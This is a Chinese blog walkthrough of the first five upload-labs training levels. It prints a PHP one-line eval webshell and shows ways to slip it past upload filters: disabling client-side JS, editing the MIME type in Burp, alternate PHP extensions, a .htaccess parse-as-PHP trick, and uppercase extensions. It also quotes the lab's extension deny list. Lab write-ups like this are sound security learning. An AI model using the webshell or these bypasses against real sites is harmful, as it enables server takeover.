upload-labs

PASS01

先测试一下,上传一个图片,如图

成功上传了昂,试试上传php一句话木马

<?php
 eval($_POST[1]);
?> 

发现上传不成功,查看提示

既然是前端js,那么我们直接把js禁用试试,

 接着我们试试再上传一句话木马

 这一次就上传成功了,我们右键图片复制地址,然后就可以通过蚁剑连接了 

PASS02

首先查看提示

 

    对于web应用来说的话,就是在把响应结果传送到浏览器上的时候,浏览器必须启动适当的应用程序来处理这个响应文档。这就可以通过多种类型MIME(多功能网际邮件扩充协议)来完成。在HTTP中,MIME类型被定义在Content-Type header中。

  比如你要传送一个Microsoft Excel文件到客户端。那么这时的MIME类型就是“application/vnd.ms-excel”。 在大多数实际情况中,这个文件会被传送给 Execl来处理(假设我们设定Execl为处理特殊MIME类型的应用程序)。
在HTTP协议中,MIME类型就被定义在数据包的Content-Type 字段中,我们接着查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

我们可以看出该PASS通过MIME只能上传jpeg、png 、gif类型的文件

我们试着上传一个php试试

提示失败,我们将一句木马后缀改为png,上传然后接种用burp截取

 我们把上传的png再次改为php

 接着我们放包

 可以看到我们这此成功上传了昂,复制图片地址,在蚁剑链接就好

 PASS03

 

 第三关采用了黑名单的验证方式,黑名单过滤也是一种不安全的方式,黑名单中定义了一系列的不安全的扩展名,服务器在接收到文件后,与黑名单做对比,从而决定是否要过滤上传的文件。

这里我们补充一点关于Apache的知识:

1.Apache解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不能识别的话,就继续往左判断,直到遇到可以解析的文件后缀为止。
2.Apache的httpd.conf中可以进行配置,规定哪些文件后缀是以php格式来解析的,这是属于管理员的配置不当导致的漏洞。

所以我们可以试着上传phtml,php3,php4,php5,pht等文件试试是否上传成功

这里有一个坑,我们需要对httpd.conf文件进行修改

在这里添加 AddType application/x-httpd-php .php .phtml .php3

 这句话的意思就是服务器会把.php、.phtml、.php3这几个后缀名的文件都用php格式来解析

接着我们将php文件后缀php3

上传php3之后再通过burp抓包 

复制图片链接之后链接蚁剑

PASS04

好家伙我直呼好家伙,直接把这么多后缀都上黑名单了,但是黑名单还是漏掉了一个htaccess

我们作为菜鸟,首先要了解htaccessApache服务器中的.htaccess文件的配置_kakuma_chen的博客-CSDN博客_.htaccess文件w

我们试着上传一个.htaccess配置文件 

这句话的意思是说让Apache对当前目录中的所有文件都以php的格式进行解析

我们上传试试

 接下来我们将一句话木马随便改一个后缀,只要不是黑名单里的就行,再试着上传

上传成功昂,这里面也有一个坑,我们需要先设置Apache配置

打开apache的httpd.conf设置文件
查找到的AllowOverride None,将其改为AllowOverride All,如图示

 接下来用蚁剑连接

 PASS05

由于我们是菜鸡,所以直接就看源码了昂

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . '/' . $file_name;
                $is_upload = true;
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
    }
}

 可以看到,这一pass已经将.htaccess加入黑名单了,但是我们仔细观察

相比pass04,少这么一行代码

$file_ext = strtolower($file_ext); //转换为小写

这意味着什么?我们可以直接将一句话木马的后缀php大写PHP就行了,试一试

好顺利...,直接连接蚁剑试试

 

 YES了昂

结束语

  前五关很多都是边学边做,里面还有很多不懂得地方,包括看代码都是很多搜索的,自己还要加油!

几篇参考博客:

upload-labs 04(上传.htaccess)_LuckySec-CSDN博客

upload-labs之第二三关_田田云逸的博客-CSDN博客

upload-labs之第四五关_田田云逸的博客-CSDN博客

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值